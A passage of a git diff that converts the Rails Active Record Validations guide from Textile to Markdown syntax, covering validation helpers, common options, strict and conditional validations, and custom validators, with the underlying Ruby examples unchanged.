bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site. -* Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to "keep your controllers skinny":http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model, as it will make your application a pleasure to work with in the long run. +* Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to [keep your controllers skinny](http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model), as it will make your application a pleasure to work with in the long run. * Model-level validations are the best way to ensure that only valid data is saved into your database. They are database agnostic, cannot be bypassed by end users, and are convenient to test and maintain. Rails makes them easy to use, provides built-in helpers for common needs, and allows you to create your own validation methods as well. -h4. When Does Validation Happen? +### When Does Validation Happen? -There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it will be saved into the appropriate database table. Active Record uses the +new_record?+ instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class: +There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the `new` method, that object does not belong to the database yet. Once you call `save` upon that object it will be saved into the appropriate database table. Active Record uses the `new_record?` instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class: -<ruby> +```ruby class Person < ActiveRecord::Base end -</ruby> +``` -We can see how it works by looking at some +rails console+ output: +We can see how it works by looking at some `rails console` output: -<ruby> +```ruby >> p = Person.new(:name => "John Doe") => #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil> >> p.new_record? @@ -55,258 +58,259 @@ We can see how it works by looking at some +rails console+ output: => true >> p.new_record? => false -</ruby> +``` -Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated. +Creating and saving a new record will send an SQL `INSERT` operation to the database. Updating an existing record will send an SQL `UPDATE` operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the `INSERT` or `UPDATE` operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated. CAUTION: There are many ways to change the state of an object in the database. Some methods will trigger validations, but some will not. This means that it's possible to save an object in the database in an invalid state if you aren't careful. The following methods trigger validations, and will save the object to the database only if the object is valid: -* +create+ -* +create!+ -* +save+ -* +save!+ -* +update+ -* +update_attributes+ -* +update_attributes!+ +* `create` +* `create!` +* `save` +* `save!` +* `update` +* `update_attributes` +* `update_attributes!` -The bang versions (e.g. +save!+) raise an exception if the record is invalid. The non-bang versions don't: +save+ and +update_attributes+ return +false+, +create+ and +update+ just return the objects. +The bang versions (e.g. `save!`) raise an exception if the record is invalid. The non-bang versions don't: `save` and `update_attributes` return `false`, `create` and `update` just return the objects. -h4. Skipping Validations +### Skipping Validations The following methods skip validations, and will save the object to the database regardless of its validity. They should be used with caution. -* +decrement!+ -* +decrement_counter+ -* +increment!+ -* +increment_counter+ -* +toggle!+ -* +touch+ -* +update_all+ -* +update_attribute+ -* +update_column+ -* +update_columns+ -* +update_counters+ +* `decrement!` +* `decrement_counter` +* `increment!` +* `increment_counter` +* `toggle!` +* `touch` +* `update_all` +* `update_attribute` +* `update_column` +* `update_columns` +* `update_counters` -Note that +save+ also has the ability to skip validations if passed +:validate => false+ as argument. This technique should be used with caution. +Note that `save` also has the ability to skip validations if passed `:validate => false` as argument. This technique should be used with caution. -* +save(:validate => false)+ +* `save(:validate => false)` -h4. +valid?+ and +invalid?+ +### `valid?` and `invalid?` -To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were found in the object, and false otherwise. +To verify whether or not an object is valid, Rails uses the `valid?` method. You can also use this method on your own. `valid?` triggers your validations and returns true if no errors were found in the object, and false otherwise. -<ruby> +```ruby class Person < ActiveRecord::Base validates :name, :presence => true end Person.create(:name => "John Doe").valid? # => true Person.create(:name => nil).valid? # => false -</ruby> +``` -After Active Record has performed validations, any errors found can be accessed through the +errors+ instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations. +After Active Record has performed validations, any errors found can be accessed through the `errors` instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations. -Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+. +Note that an object instantiated with `new` will not report errors even if it's technically invalid, because validations are not run when using `new`. -<ruby> +```ruby class Person < ActiveRecord::Base validates :name, :presence => true end >> p = Person.new -=> #<Person id: nil, name: nil> +#=> #<Person id: nil, name: nil> >> p.errors -=> {} +#=> {} >> p.valid? -=> false +#=> false >> p.errors -=> {:name=>["can't be blank"]} +#=> {:name=>["can't be blank"]} >> p = Person.create -=> #<Person id: nil, name: nil> +#=> #<Person id: nil, name: nil> >> p.errors -=> {:name=>["can't be blank"]} +#=> {:name=>["can't be blank"]} >> p.save -=> false +#=> false >> p.save! -=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank +#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank >> Person.create! -=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank -</ruby> +#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank +``` -+invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations, returning true if any errors were found in the object, and false otherwise. +`invalid?` is simply the inverse of `valid?`. `invalid?` triggers your validations, returning true if any errors were found in the object, and false otherwise. -h4(#validations_overview-errors). +errors[]+ +### `errors[]` -To verify whether or not a particular attribute of an object is valid, you can use +errors[:attribute]+. It returns an array of all the errors for +:attribute+. If there are no errors on the specified attribute, an empty array is returned. +To verify whether or not a particular attribute of an object is valid, you can use `errors[:attribute]`. It returns an array of all the errors for `:attribute`. If there are no errors on the specified attribute, an empty array is returned. -This method is only useful _after_ validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the +ActiveRecord::Base#invalid?+ method explained above because it doesn't verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object. +This method is only useful _after_ validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the `ActiveRecord::Base#invalid?` method explained above because it doesn't verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object. -<ruby> +```ruby class Person < ActiveRecord::Base validates :name, :presence => true end >> Person.new.errors[:name].any? # => false >> Person.create.errors[:name].any? # => true -</ruby> +``` -We'll cover validation errors in greater depth in the "Working with Validation Errors":#working-with-validation-errors section. For now, let's turn to the built-in validation helpers that Rails provides by default. +We'll cover validation errors in greater depth in the [Working with Validation Errors](#working-with-validation-errors) section. For now, let's turn to the built-in validation helpers that Rails provides by default. -h3. Validation Helpers +Validation Helpers +------------------ -Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the attribute being validated. +Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's `errors` collection, and this message is associated with the attribute being validated. Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes. -All of them accept the +:on+ and +:message+ options, which define when the validation should be run and what message should be added to the +errors+ collection if it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+ or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't specified. Let's take a look at each one of the available helpers. +All of them accept the `:on` and `:message` options, which define when the validation should be run and what message should be added to the `errors` collection if it fails, respectively. The `:on` option takes one of the values `:save` (the default), `:create` or `:update`. There is a default error message for each one of the validation helpers. These messages are used when the `:message` option isn't specified. Let's take a look at each one of the available helpers. -h4. +acceptance+ +### `acceptance` Validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute). -<ruby> +```ruby class Person < ActiveRecord::Base validates :terms_of_service, :acceptance => true end -</ruby> +``` The default error message for this helper is "_must be accepted_". -It can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1" and can be easily changed. +It can receive an `:accept` option, which determines the value that will be considered acceptance. It defaults to "1" and can be easily changed. -<ruby> +```ruby class Person < ActiveRecord::Base validates :terms_of_service, :acceptance => { :accept => 'yes' } end -</ruby> +``` -h4. +validates_associated+ +### `validates_associated` -You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects. +You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, `valid?` will be called upon each one of the associated objects. -<ruby> +```ruby class Library < ActiveRecord::Base has_many :books validates_associated :books end -</ruby> +``` This validation will work with all of the association types. -CAUTION: Don't use +validates_associated+ on both ends of your associations. They would call each other in an infinite loop. +CAUTION: Don't use `validates_associated` on both ends of your associations. They would call each other in an infinite loop. -The default error message for +validates_associated+ is "_is invalid_". Note that each associated object will contain its own +errors+ collection; errors do not bubble up to the calling model. +The default error message for `validates_associated` is "_is invalid_". Note that each associated object will contain its own `errors` collection; errors do not bubble up to the calling model. -h4. +confirmation+ +### `confirmation` You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended. -<ruby> +```ruby class Person < ActiveRecord::Base validates :email, :confirmation => true end -</ruby> +``` In your view template you could use something like -<erb> +```erb <%= text_field :person, :email %> <%= text_field :person, :email_confirmation %> -</erb> +``` -This check is performed only if +email_confirmation+ is not +nil+. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +presence+ later on this guide): +This check is performed only if `email_confirmation` is not `nil`. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at `presence` later on this guide): -<ruby> +```ruby class Person < ActiveRecord::Base validates :email, :confirmation => true validates :email_confirmation, :presence => true end -</ruby> +``` The default error message for this helper is "_doesn't match confirmation_". -h4. +exclusion+ +### `exclusion` This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object. -<ruby> +```ruby class Account < ActiveRecord::Base validates :subdomain, :exclusion => { :in => %w(www us ca jp), :message => "Subdomain %{value} is reserved." } end -</ruby> +``` -The +exclusion+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can include the attribute's value. +The `exclusion` helper has an option `:in` that receives the set of values that will not be accepted for the validated attributes. The `:in` option has an alias called `:within` that you can use for the same purpose, if you'd like to. This example uses the `:message` option to show how you can include the attribute's value. The default error message is "_is reserved_". -h4. +format+ +### `format` -This helper validates the attributes' values by testing whether they match a given regular expression, which is specified using the +:with+ option. +This helper validates the attributes' values by testing whether they match a given regular expression, which is specified using the `:with` option. -<ruby> +```ruby class Product < ActiveRecord::Base validates :legacy_code, :format => { :with => /\A[a-zA-Z]+\z/, :message => "Only letters allowed" } end -</ruby> +``` The default error message is "_is invalid_". -h4. +inclusion+ +### `inclusion` This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object. -<ruby> +```ruby class Coffee < ActiveRecord::Base validates :size, :inclusion => { :in => %w(small medium large), :message => "%{value} is not a valid size" } end -</ruby> +``` -The +inclusion+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can include the attribute's value. +The `inclusion` helper has an option `:in` that receives the set of values that will be accepted. The `:in` option has an alias called `:within` that you can use for the same purpose, if you'd like to. The previous example uses the `:message` option to show how you can include the attribute's value. The default error message for this helper is "_is not included in the list_". -h4. +length+ +### `length` This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways: -<ruby> +```ruby class Person < ActiveRecord::Base validates :name, :length => { :minimum => 2 } validates :bio, :length => { :maximum => 500 } validates :password, :length => { :in => 6..20 } validates :registration_number, :length => { :is => 6 } end -</ruby> +``` The possible length constraint options are: -* +:minimum+ - The attribute cannot have less than the specified length. -* +:maximum+ - The attribute cannot have more than the specified length. -* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a range. -* +:is+ - The attribute length must be equal to the given value. +* `:minimum` - The attribute cannot have less than the specified length. +* `:maximum` - The attribute cannot have more than the specified length. +* `:in` (or `:within`) - The attribute length must be included in a given interval. The value for this option must be a range. +* `:is` - The attribute length must be equal to the given value. -The default error messages depend on the type of length validation being performed. You can personalize these messages using the +:wrong_length+, +:too_long+, and +:too_short+ options and <tt>%{count}</tt> as a placeholder for the number corresponding to the length constraint being used. You can still use the +:message+ option to specify an error message. +The default error messages depend on the type of length validation being performed. You can personalize these messages using the `:wrong_length`, `:too_long`, and `:too_short` options and `%{count}` as a placeholder for the number corresponding to the length constraint being used. You can still use the `:message` option to specify an error message. -<ruby> +```ruby class Person < ActiveRecord::Base validates :bio, :length => { :maximum => 1000, :too_long => "%{count} characters is the maximum allowed" } end -</ruby> +``` -This helper counts characters by default, but you can split the value in a different way using the +:tokenizer+ option: +This helper counts characters by default, but you can split the value in a different way using the `:tokenizer` option: -<ruby> +```ruby class Essay < ActiveRecord::Base validates :content, :length => { :minimum => 300, @@ -316,108 +320,108 @@ class Essay < ActiveRecord::Base :too_long => "must have at most %{count} words" } end -</ruby> +``` -Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when +:minimum+ is 1 you should provide a personalized message or use +validates_presence_of+ instead. When +:in+ or +:within+ have a lower limit of 1, you should either provide a personalized message or call +presence+ prior to +length+. +Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when `:minimum` is 1 you should provide a personalized message or use `validates_presence_of` instead. When `:in` or `:within` have a lower limit of 1, you should either provide a personalized message or call `presence` prior to `length`. -The +size+ helper is an alias for +length+. +The `size` helper is an alias for `length`. -h4. +numericality+ +### `numericality` -This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set +:only_integer+ to true. +This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set `:only_integer` to true. -If you set +:only_integer+ to +true+, then it will use the +If you set `:only_integer` to `true`, then it will use the -<ruby> -/\A[<plus>-]?\d<plus>\Z/ -</ruby> +```ruby +/\A[+-]?\d+\Z/ +``` -regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+. +regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using `Float`. WARNING. Note that the regular expression above allows a trailing newline character. -<ruby> +```ruby class Player < ActiveRecord::Base validates :points, :numericality => true validates :games_played, :numericality => { :only_integer => true } end -</ruby> +``` -Besides +:only_integer+, this helper also accepts the following options to add constraints to acceptable values: +Besides `:only_integer`, this helper also accepts the following options to add constraints to acceptable values: -* +:greater_than+ - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than %{count}_". -* +:greater_than_or_equal_to+ - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "_must be greater than or equal to %{count}_". -* +:equal_to+ - Specifies the value must be equal to the supplied value. The default error message for this option is "_must be equal to %{count}_". -* +:less_than+ - Specifies the value must be less than the supplied value. The default error message for this option is "_must be less than %{count}_". -* +:less_than_or_equal_to+ - Specifies the value must be less than or equal the supplied value. The default error message for this option is "_must be less than or equal to %{count}_". -* +:odd+ - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_". -* +:even+ - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_". +* `:greater_than` - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than %{count}_". +* `:greater_than_or_equal_to` - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "_must be greater than or equal to %{count}_". +* `:equal_to` - Specifies the value must be equal to the supplied value. The default error message for this option is "_must be equal to %{count}_". +* `:less_than` - Specifies the value must be less than the supplied value. The default error message for this option is "_must be less than %{count}_". +* `:less_than_or_equal_to` - Specifies the value must be less than or equal the supplied value. The default error message for this option is "_must be less than or equal to %{count}_". +* `:odd` - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_". +* `:even` - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_". The default error message is "_is not a number_". -h4. +presence+ +### `presence` -This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or a blank string, that is, a string that is either empty or consists of whitespace. +This helper validates that the specified attributes are not empty. It uses the `blank?` method to check if the value is either `nil` or a blank string, that is, a string that is either empty or consists of whitespace. -<ruby> +```ruby class Person < ActiveRecord::Base validates :name, :login, :email, :presence => true end -</ruby> +``` If you want to be sure that an association is present, you'll need to test whether the foreign key used to map the association is present, and not the associated object itself. -<ruby> +```ruby class LineItem < ActiveRecord::Base belongs_to :order validates :order_id, :presence => true end -</ruby> +``` -If you validate the presence of an object associated via a +has_one+ or +has_many+ relationship, it will check that the object is neither +blank?+ nor +marked_for_destruction?+. +If you validate the presence of an object associated via a `has_one` or `has_many` relationship, it will check that the object is neither `blank?` nor `marked_for_destruction?`. -Since +false.blank?+ is true, if you want to validate the presence of a boolean field you should use <tt>validates :field_name, :inclusion => { :in => [true, false] }</tt>. +Since `false.blank?` is true, if you want to validate the presence of a boolean field you should use `validates :field_name, :inclusion => { :in => [true, false] }`. The default error message is "_can't be empty_". -h4. +uniqueness+ +### `uniqueness` This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create a unique index in your database. -<ruby> +```ruby class Account < ActiveRecord::Base validates :email, :uniqueness => true end -</ruby> +``` The validation happens by performing an SQL query into the model's table, searching for an existing record with the same value in that attribute. -There is a +:scope+ option that you can use to specify other attributes that are used to limit the uniqueness check: +There is a `:scope` option that you can use to specify other attributes that are used to limit the uniqueness check: -<ruby> +```ruby class Holiday < ActiveRecord::Base validates :name, :uniqueness => { :scope => :year, :message => "should happen once per year" } end -</ruby> +``` -There is also a +:case_sensitive+ option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true. +There is also a `:case_sensitive` option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true. -<ruby> +```ruby class Person < ActiveRecord::Base validates :name, :uniqueness => { :case_sensitive => false } end -</ruby> +``` WARNING. Note that some databases are configured to perform case-insensitive searches anyway. The default error message is "_has already been taken_". -h4. +validates_with+ +### `validates_with` This helper passes the record to a separate class for validation. -<ruby> +```ruby class Person < ActiveRecord::Base validates_with GoodnessValidator end @@ -429,17 +433,17 @@ class GoodnessValidator < ActiveModel::Validator end end end -</ruby> +``` -NOTE: Errors added to +record.errors[:base]+ relate to the state of the record as a whole, and not to a specific attribute. +NOTE: Errors added to `record.errors[:base]` relate to the state of the record as a whole, and not to a specific attribute. -The +validates_with+ helper takes a class, or a list of classes to use for validation. There is no default error message for +validates_with+. You must manually add errors to the record's errors collection in the validator class. +The `validates_with` helper takes a class, or a list of classes to use for validation. There is no default error message for `validates_with`. You must manually add errors to the record's errors collection in the validator class. -To implement the validate method, you must have a +record+ parameter defined, which is the record to be validated. +To implement the validate method, you must have a `record` parameter defined, which is the record to be validated. -Like all other validations, +validates_with+ takes the +:if+, +:unless+ and +:on+ options. If you pass any other options, it will send those options to the validator class as +options+: +Like all other validations, `validates_with` takes the `:if`, `:unless` and `:on` options. If you pass any other options, it will send those options to the validator class as `options`: -<ruby> +```ruby class Person < ActiveRecord::Base validates_with GoodnessValidator, :fields => [:first_name, :last_name] end @@ -451,63 +455,64 @@ class GoodnessValidator < ActiveModel::Validator end end end -</ruby> +``` -h4. +validates_each+ +### `validates_each` -This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case. +This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to `validates_each` will be tested against it. In the following example, we don't want names and surnames to begin with lower case. -<ruby> +```ruby class Person < ActiveRecord::Base validates_each :name, :surname do |record, attr, value| record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/ end end -</ruby> +``` The block receives the record, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you should add an error message to the model, therefore making it invalid. -h3. Common Validation Options +Common Validation Options +------------------------- These are common validation options: -h4. +:allow_nil+ +### `:allow_nil` -The +:allow_nil+ option skips the validation when the value being validated is +nil+. +The `:allow_nil` option skips the validation when the value being validated is `nil`. -<ruby> +```ruby class Coffee < ActiveRecord::Base validates :size, :inclusion => { :in => %w(small medium large), :message => "%{value} is not a valid size" }, :allow_nil => true end -</ruby> +``` -TIP: +:allow_nil+ is ignored by the presence validator. +TIP: `:allow_nil` is ignored by the presence validator. -h4. +:allow_blank+ +### `:allow_blank` -The +:allow_blank+ option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +blank?+, like +nil+ or an empty string for example. +The `:allow_blank` option is similar to the `:allow_nil` option. This option will let validation pass if the attribute's value is `blank?`, like `nil` or an empty string for example. -<ruby> +```ruby class Topic < ActiveRecord::Base validates :title, :length => { :is => 5 }, :allow_blank => true end Topic.create("title" => "").valid? # => true Topic.create("title" => nil).valid? # => true -</ruby> +``` -TIP: +:allow_blank+ is ignored by the presence validator. +TIP: `:allow_blank` is ignored by the presence validator. -h4. +:message+ +### `:message` -As you've already seen, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper. +As you've already seen, the `:message` option lets you specify the message that will be added to the `errors` collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper. -h4. +:on+ +### `:on` -The +:on+ option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be run on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on => :create+ to run the validation only when a new record is created or +:on => :update+ to run the validation only when a record is updated. +The `:on` option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be run on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use `:on => :create` to run the validation only when a new record is created or `:on => :update` to run the validation only when a record is updated. -<ruby> +```ruby class Person < ActiveRecord::Base # it will be possible to update email with a duplicated value validates :email, :uniqueness => true, :on => :create @@ -518,39 +523,41 @@ class Person < ActiveRecord::Base # the default (validates on both create and update) validates :name, :presence => true, :on => :save end -</ruby> +``` -h3. Strict Validations +Strict Validations +------------------ -You can also specify validations to be strict and raise +ActiveModel::StrictValidationFailed+ when the object is invalid. +You can also specify validations to be strict and raise `ActiveModel::StrictValidationFailed` when the object is invalid. -<ruby> +```ruby class Person < ActiveRecord::Base validates :name, :presence => { :strict => true } end -Person.new.valid? => ActiveModel::StrictValidationFailed: Name can't be blank -</ruby> +Person.new.valid? #=> ActiveModel::StrictValidationFailed: Name can't be blank +``` -There is also an ability to pass custom exception to +:strict+ option +There is also an ability to pass custom exception to `:strict` option -<ruby> +```ruby class Person < ActiveRecord::Base validates :token, :presence => true, :uniqueness => true, :strict => TokenGenerationException end -Person.new.valid? => TokenGenerationException: Token can't be blank -</ruby> +Person.new.valid? #=> TokenGenerationException: Token can't be blank +``` -h3. Conditional Validation +Conditional Validation +---------------------- -Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string, a +Proc+ or an +Array+. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option. +Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the `:if` and `:unless` options, which can take a symbol, a string, a `Proc` or an `Array`. You may use the `:if` option when you want to specify when the validation **should** happen. If you want to specify when the validation **should not** happen, then you may use the `:unless` option. -h4. Using a Symbol with +:if+ and +:unless+ +### Using a Symbol with `:if` and `:unless` -You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option. +You can associate the `:if` and `:unless` options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option. -<ruby> +```ruby class Order < ActiveRecord::Base validates :card_number, :presence => true, :if => :paid_with_card? @@ -558,67 +565,68 @@ class Order < ActiveRecord::Base payment_type == "card" end end -</ruby> +``` -h4. Using a String with +:if+ and +:unless+ +### Using a String with `:if` and `:unless` -You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition. +You can also use a string that will be evaluated using `eval` and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition. -<ruby> +```ruby class Person < ActiveRecord::Base validates :surname, :presence => true, :if => "name.nil?" end -</ruby> +``` -h4. Using a Proc with +:if+ and +:unless+ +### Using a Proc with `:if` and `:unless` -Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object which will be called. Using a +Proc+ object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners. +Finally, it's possible to associate `:if` and `:unless` with a `Proc` object which will be called. Using a `Proc` object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners. -<ruby> +```ruby class Account < ActiveRecord::Base validates :password, :confirmation => true, :unless => Proc.new { |a| a.password.blank? } end -</ruby> +``` -h4. Grouping conditional validations +### Grouping conditional validations -Sometimes it is useful to have multiple validations use one condition, it can be easily achieved using +with_options+. +Sometimes it is useful to have multiple validations use one condition, it can be easily achieved using `with_options`. -<ruby> +```ruby class User < ActiveRecord::Base with_options :if => :is_admin? do |admin| admin.validates :password, :length => { :minimum => 10 } admin.validates :email, :presence => true end end -</ruby> +``` -All validations inside of +with_options+ block will have automatically passed the condition +:if => :is_admin?+ +All validations inside of `with_options` block will have automatically passed the condition `:if => :is_admin?` -h4. Combining validation conditions +### Combining validation conditions -On the other hand, when multiple conditions define whether or not a validation should happen, an +Array+ can be used. Moreover, you can apply both +:if:+ and +:unless+ to the same validation. +On the other hand, when multiple conditions define whether or not a validation should happen, an `Array` can be used. Moreover, you can apply both `:if` and `:unless` to the same validation. -<ruby> +```ruby class Computer < ActiveRecord::Base validates :mouse, :presence => true, :if => ["market.retail?", :desktop?] :unless => Proc.new { |c| c.trackpad.present? } end -</ruby> +``` -The validation only runs when all the +:if+ conditions and none of the +:unless+ conditions are evaluated to +true+. +The validation only runs when all the `:if` conditions and none of the `:unless` conditions are evaluated to `true`. -h3. Performing Custom Validations +Performing Custom Validations +----------------------------- When the built-in validation helpers are not enough for your needs, you can write your own validators or validation methods as you prefer. -h4. Custom Validators +### Custom Validators -Custom validators are classes that extend <tt>ActiveModel::Validator</tt>. These classes must implement a +validate+ method which takes a record as an argument and performs the validation on it. The custom validator is called using the +validates_with+ method. +Custom validators are classes that extend `ActiveModel::Validator`. These classes must implement a `validate` method which takes a record as an argument and performs the validation on it. The custom validator is called using the `validates_with` method. -<ruby> +```ruby class MyValidator < ActiveModel::Validator def validate(record) unless record.name.starts_with? 'X' @@ -631,14 +639,14 @@ class Person include ActiveModel::Validations validates_with MyValidator end -</ruby> +``` -The easiest way to add custom validators for validating individual attributes is with the convenient <tt>ActiveModel::EachValidator</tt>. In this case, the custom validator class must implement a +validate_each+ method which takes three arguments: record, attribute and value which correspond to the instance, the attribute to be validated and the value of the attribute in the passed instance. +The easiest way to add custom validators for validating individual attributes is with the convenient `ActiveModel::EachValidator`. In this case, the custom validator class must implement a `validate_each` method which takes three arguments: record, attribute and value which correspond to the instance, the attribute to be validated and the value of the attribute in the passed instance. -<ruby> +```ruby class EmailValidator < ActiveModel::EachValidator def validate_each(record, attribute, value) - unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i + unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i record.errors[attribute] << (options[:message] || "is not an email") end end @@ -647,17 +655,17 @@ end class Person < ActiveRecord::Base validates :email, :presence => true, :email => true end -</ruby> +``` As shown in the example, you can also combine standard validations with your own custom validators. -h4. Custom Methods +### Custom Methods -You can also create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using the +validate+ class method, passing in the symbols for the validation methods' names. +You can also create methods that verify the state of your models and add messages to the `errors` collection when they are invalid. You must then register these methods by using the `validate` class method, passing in the symbols for the validation methods' names. You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered. -<ruby> +```ruby class Invoice < ActiveRecord::Base validate :expiration_date_cannot_be_in_the_past, :discount_cannot_be_greater_than_total_value @@ -674,11 +682,11 @@ class Invoice < ActiveRecord::Base end end end -</ruby> +``` -By default such validations will run every time you call +valid?+. It is also possible to control when to run these custom validations by giving an +:on+ option to the +validate+ method, with either: +:create+ or +:update+. +By default such validations will run every time you call `valid?`. It is also possible to control when to run these custom validations by giving an `:on` option to the `validate` method, with either: `:create` or `:update`. -<ruby> +```ruby class Invoice < ActiveRecord::Base validate :active_customer, :on => :create @@ -686,37 +694,38 @@ class Invoice < ActiveRecord::Base errors.add(:customer_id, "is not active") unless customer.active? end end -</ruby> +``` You can even create your own validation helpers and reuse them in several different models. For example, an application that manages surveys may find it useful to express that a certain field corresponds to a set of choices: -<ruby> +```ruby ActiveRecord::Base.class_eval do def self.validates_as_choice(attr_name, n, options={}) validates attr_name, :inclusion => { { :in => 1..n }.merge!(options) } end end -</ruby> +``` -Simply reopen +ActiveRecord::Base+ and define a class method like that. You'd typically put this code somewhere in +config/initializers+. You can use this helper like this: +Simply reopen `ActiveRecord::Base` and define a class method like that. You'd typically put this code somewhere in `config/initializers`. You can use this helper like this: -<ruby> +```ruby class Movie < ActiveRecord::Base validates_as_choice :rating, 5 end -</ruby> +``` -h3. Working with Validation 